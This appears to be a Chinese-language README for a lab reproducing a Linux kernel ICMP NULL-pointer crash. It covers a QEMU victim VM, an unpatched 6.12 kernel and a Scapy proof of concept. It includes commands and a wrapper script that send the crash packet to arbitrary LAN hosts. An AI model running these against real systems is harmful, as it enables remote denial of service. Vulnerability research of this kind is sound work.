| 组件 | 用途 |
|---|
QEMU(qemu-system-x86_64、qemu-img) | 受害虚拟机 |
cloud-image-utils(cloud-localds)、wget、genisoimage | Cloud-init 和镜像下载 |
| Docker + Docker Compose | 从主机发送 ICMP(host 网络模式) |
| OpenSSH 客户端 | SSH 自动化 |
~/.ssh/id_ed25519.pub 或 id_rsa.pub 中的 SSH 密钥,或 sshpass | 免密码登录客户机(推荐使用密钥) |
| sudo | 仅 TAP 模式(从主机向虚拟机的固定 IP 发送 ICMP) |
仅当您不使用 Docker 发送远程载荷时,才需要在主机上安装 Python 3 和 Scapy。
├── send_frag_needed.py # Scapy PoC(ICMP 3,4 + 使用不常见协议号的内部 IP)
├── send-payload-to-host.sh # 向您网络上的 IP/主机名发送载荷
├── docker-compose.yml # “sender”服务(host 网络 + CAP_NET_RAW)
├── Dockerfile
├── vm/ # 磁盘、cloud-init 种子、QEMU 串口日志
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # DHCP 种子(usernet 模式)
├── build-seed.sh # 静态 192.168.76.2 种子(TAP 模式)
├── vm-start-usernet.sh # QEMU + 用户网络(SSH 端口 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP(在 tap-up.sh 之后)
├── tap-up.sh / tap-down.sh # 主机上的 TAP 接口(sudo)
├── run-lab-usernet.sh # 完整流程:镜像 + 虚拟机 + 客户机上的 Scapy(较新内核)
├── run-lab.sh # TAP 流程 + docker sender → 192.168.76.2
├── install-vulnerable-mainline.sh # 未打补丁的 mainline 6.12 + veth PoC(崩溃)
└── poc-veth-netns.sh # 在*客户机*内运行(veth + netns)
QEMU 用户网络无法可靠地将主机发起的 ICMP 传递给客户机。自动化流程会在虚拟机上安装 Scapy 并在其中运行脚本。当前的 Ubuntu 内核通常已打补丁:您会看到“Sent 1 packets”,但不会崩溃。
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# 首次运行:下载 Ubuntu Noble 云镜像、叠加层、种子、启动 QEMU、SSH :2222、apt、PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected](如果您依赖密码认证,密码为 lablab)。./scripts/vm-stop-usernet.shvm/serial-usernet.logCVE 修复于 2026 年 3 月落地。较旧的 mainline 构建(例如 2024-11 的 6.12.0)不包含该修复。该脚本会在虚拟机中安装这些 .deb 包,重启,然后使用 veth + 网络命名空间运行 PoC,使 ICMP 走真实的 ingress 路径(仅发送到客户机自身的回环/接口 IP 是不够的)。
警告: 这通常会导致内核崩溃;SSH 将停止响应。
# usernet 虚拟机正在运行(或 run-lab-usernet.sh 已创建过一次)
./scripts/vm-start-usernet.sh # 如果尚未运行
./scripts/install-vulnerable-mainline.sh
| 信号 | 崩溃确实发生(在存在漏洞的 6.12 上预期) | 崩溃未发生 |
|---|---|---|
| “Running PoC …”之后的 SSH | 挂起或 Connection timed out / Connection reset | 会话仍然正常;您能获得 shell |
send_frag_needed.py 输出 | 在 SSH 断开前您应看到 . Sent 1 packets.(如果链路立即断开,通常会被截断) | Install Scapy: pip install scapy → 客户机上缺少 Scapy;ICMP 从未发送。重新运行 install-vulnerable-mainline.sh(它会安装 python3-scapy)或在虚拟机上运行 sudo apt install -y python3-scapy 并重新运行 PoC |
| 串口日志 | tail -f vm/serial-usernet.log 显示 Kernel panic、icmp_unreach、CR2: 0000000000000010 等 | 无崩溃行;客户机持续运行 |
| QEMU 进程 | 仍在运行,但客户机操作系统已死,直到重启 | 客户机仍在端口 2222 上响应 |
全新磁盘说明: 如果您只运行 prepare-disk.sh + vm-start-usernet.sh(而非 run-lab-usernet.sh),客户机可能没有 python3-scapy,直到 install-vulnerable-mainline.sh 安装它(或您手动安装)。
崩溃后 — 干净重置:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# 可选:重新安装软件包 / 重新运行 install-vulnerable-mainline.sh
客户机使用 192.168.76.2,主机在 TAP 上使用 192.168.76.1。ICMP 的行为与真实局域网相同。
./scripts/tap-up.sh # sudo:创建 icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # cloud-init 中的静态寻址
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# 在虚拟机上:sysctl -w net.ipv4.ip_no_pmtu_disc=3,如果您想要崩溃,还需要存在漏洞的内核
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh 会串联其中部分步骤(需要 TAP + Docker)。
便捷包装脚本(将 主机名解析为 IPv4,优先使用 Docker,否则使用 sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # 仅一次
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
不使用 Docker:
sudo pip install scapy # 如果需要
sudo ./send-payload-to-host.sh 192.168.1.50
与此 CVE 相关的目标条件:
net.ipv4.ip_no_pmtu_disc = 3(强化 PMTU 模式)。如果内核已打补丁或 sysctl 不是 3,您不会看到崩溃;数据包仍可能在网络上传输。
| 变量 | 描述 |
|---|---|
ICMP_LAB_TAP | TAP 设备名称(默认 icmp-lab-tap0) |
ICMP_LAB_HOST_IP | TAP 上的主机地址(默认 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | usernet SSH 端口(默认 2222) |
ICMP_LAB_SSH_HOST | SSH 主机(默认 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation()(mainline 上的提交 614aefe56af8e)3 的引入:提交 8ed1dc44d3e9(hardened ip_no_pmtu_disc)| 目标 | 命令 |
|---|---|
| 首次 usernet 实验 | ./scripts/run-lab-usernet.sh |
| 启动 / 停止 usernet 虚拟机 | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| 存在漏洞的内核 + PoC(崩溃) | ./scripts/install-vulnerable-mainline.sh |
| 崩溃后重置磁盘 | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| 向局域网 IP/主机发送载荷 | ./send-payload-to-host.sh <IP|hostname> |
| 构建 Docker sender 镜像 | docker compose build |